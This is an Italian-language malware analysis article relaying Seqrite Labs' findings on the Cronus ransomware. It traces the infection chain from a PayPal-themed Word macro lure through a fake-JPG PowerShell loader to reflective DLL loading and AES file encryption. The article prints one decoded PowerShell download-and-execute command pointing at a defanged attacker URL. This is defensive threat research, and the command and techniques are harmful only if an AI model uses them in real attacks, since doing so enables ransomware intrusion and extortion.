I Seqrite Labs, in particolare il team specializzato in ATP, ha individuato molte campagne che utilizzano, come esca, fatture di PayPal. Queste campagne stanno prendendo di mira singole persone in tutto il mondo e distribuiscono una nuova famiglia ransomware chiamata Cronus. Il funzionamento sembra essere sempre lo stesso: il malware è sviluppato in PowerShell e viene eseguito direttamente in memoria. Non ha necessità, cioè, di scrivere alcun contenuto dannoso sul disco.
Qui riportiamo l’analisi dei nostri Labs: ne rendiamo sia il livello di sofisticazione che i dettagli tecnici relativi alle campagne di distribuzione e tutti i dati raccolti nel corso dell’analisi telemetrica che abbiamo svolto.
In particolare esaminiamo le varie fasi di questa campagna, che inizia con un documento che serve a distribuire il payload. Quindi proseguiremo estraendo e analizzando lo script VBA e infine arriveremo al payload in PowerShell che esegue il ransomware caricando una libreria DLL.
La prima individuazione del ransomware Cronus
Il 14 Luglio 2024 il nostro team ha individuato su VirusTotal un documento dannoso grazie alle regole di ricerca che utilizziamo per verificare la presenza di macro VBA dannose integrate nei file.
Ad una prima analisi, abbiamo scoperto che questa esca imita un semplice documento di ricevuta di Paypal. In questo caso il file si chiama paypal_charges.doc. Abbiamo quindi estratto la macro e potuto verificare che questa scarica, in una seconda fase, un loader PowerShell chiamato 8eef4df388f2217caec3dc26.ps1. E’ questo loader che scarica quindi la DLL del ransomware Cronus, usando la tecnica detta “reflective loading”. Questa tecnica consente di caricare una DLL direttamente nella memoria di un processo senza alcuna necessità di scrivere la DLL sul disco.
Questa non è una novità, va detto. Altri gruppi ransomware come NETWALKER, ma non solo, hanno già usato questa tecnica in precedenza.
Catena di infezione
Analisi Tecnica del ransomware Cronus
Andiamo più nel dettaglio: abbiamo diviso l’analisi tecnica in tre sezioni.
Primo stadio dell’infezione: il documento dannoso e la macro
L’infezione inizia con un documento Word dannoso distribuito principalmente tramite email di phishing. Quindi abbiamo deciso, prima di avventurarci nell’analisi della macro, di concentrarci sul documento usato come esca.
Sorpresa: il documento è vuoto. L’analisi del flusso dannoso collegato al documento è invece molto interessante. Nel documento abbiamo verificato la presenza di due macro
Una volta capito come funzionano le macro integrate, abbiamo potuto verificare come queste siano pesantemente offuscate con l’aggiunta di commenti e nomi vi variabili del tutto inutili, fatto che ha reso l’analisi più impegnativa. Abbiamo quindi deciso di de-offuscare la Macro ed ecco il risultato:
Risulta chiaro che la macro usa powershell.exe per eseguire come argomento una stringa in Base64.
Abbiamo decodificato da Base64 ed ecco il risultato:
IEX (New-Object Net.WebClient).DownloadString(‘hxxps[:]//eternal[.]lol/file/8e53a3e023218a9b1ef9ba1ef3b5afd191a99156b77864558d/8eef4df388f2217caec3dc26[.]jpg’);
Abbiamo potuto così accertare che la macro tenta di scaricare il payload per la fase successiva dell’attacco da un server.
Secondo stadio dell’infezione: il loader PowerShell
L’estensione del file è solo apparentemente JPEG. La realtà è che si tratta di un file PowerShell e lo abbiamo analizzato di conseguenza.
Come ci aspettavamo, anche in questo caso ci imbattiamo in tantissimo codice spazzatura per complicare l’analisi. Quindi abbiamo deoffuscato manualmente lo script PowerShell rimuovendo il codice inutile.
Lo script è stato offuscato con tre livelli di codice spazzatura, che contengono un set di sequenze come queste:
if ($a.ProcessName -like “junkcodesequenceone”){ ….junk code here….. ….junk code here….. ….junk code here….. } if ($a.ProcessName -like “junkcodesequencetwo”){ ….junk code here….. ….junk code here….. ….junk code here….. } Script PowerShell if ($a.ProcessName -like “junkcodesequencethree”){ ….junk code here….. ….junk code here….. ….junk code here….. }
Verificando approfonditamente il codice PowerShell deoffuscato abbiamo potuto verificare come questo includa due array di byte contenenti Assembly .NET, che vengono successivamente caricati in memoria usando la tecnica di “reflective loading”. Lo stadio finale è il ransomware.
Ultimo stadio – l’Assembly .NET dannoso
Ora esaminiamo gli assembly .NET che abbiamo estratto nella seconda fase. Dopo l’estrazione, abbiamo caricato le DLL nel tool Detect-It-Easy (DIE) per individuare i file assembly .NET che erano stati pacchettizzati o protetti.
Abbiamo verificato quindi che il primo assembly .NET è stato protetto usando .NET Reactor, quindi lo abbiamo spacchettato ed esplorato ulteriormente i file assembly utilizzando il tool dnSpy per avere una panoramica dettagliata del codice.
Una volta spacchettata la prima DLL, TEStxx.dll, abbiamo scoperto che l’assembly caricato esegue la process injection. In questo caso in particolare, inietta un secondo eseguibile, RegSvcs,exe, nella memoria del processo. Quindi abbiamo analizzato il secondo eseguibile dannoso .NET
Analizzando il metodo Main dell’eseguibile finale, vediamo che il codice esegue varie task tutte appartenenti al range di comportamento dei ransomware: modifica dello sfondo del desktop, elenco e criptazione di specifiche estensioni di file e termine dei processi in corso.
Ci sono anche metodi come TRIPLE_ENCRYPT, FULL_ENCRYPT and RECURSIVE_DIRECTORY_LOOK, EXCEPTIONAL_FILE e altre cosette interessanti.
Auto replicazione
Il ransomware copia sé stesso in C:\Users\AppData\Local. Se già presente o già copiato, il ransomware si auto cancella.
Enumerazione dei file
Il ransomware elenca i file iniziando dall’enumerazione dei dischi rigidi, quindi elenca i file presenti in questi drive. Verifica anche specifiche cartelle come \System\ directory e le esclude dalla lista. Quindi prosegue oltre creando una nuova task per la verifica ricorsiva delle directory.
Criptazione
Il ransomware utilizza due diversi metodi di criptazione, in base alla dimensione del file da criptare. Per file più piccoli di 512 kb usa il metodo FULL_ENCRYPT per criptare l’intero file. Per file più grandi invece usa il metodo TRIPLE_ENCRYPT che “spezza” il file in parti differenti quindi li cripta. In entrambi i casi viene usato AES.
Viene quindi rilasciata la nota di riscatto, chiamata cronus.txt
Per l’elenco completo dei file ricercati per la criptazione, gli IoC, ulteriori funzionalità ecc.. rimandiamo all‘articolo originale dei Seqrite Labs.
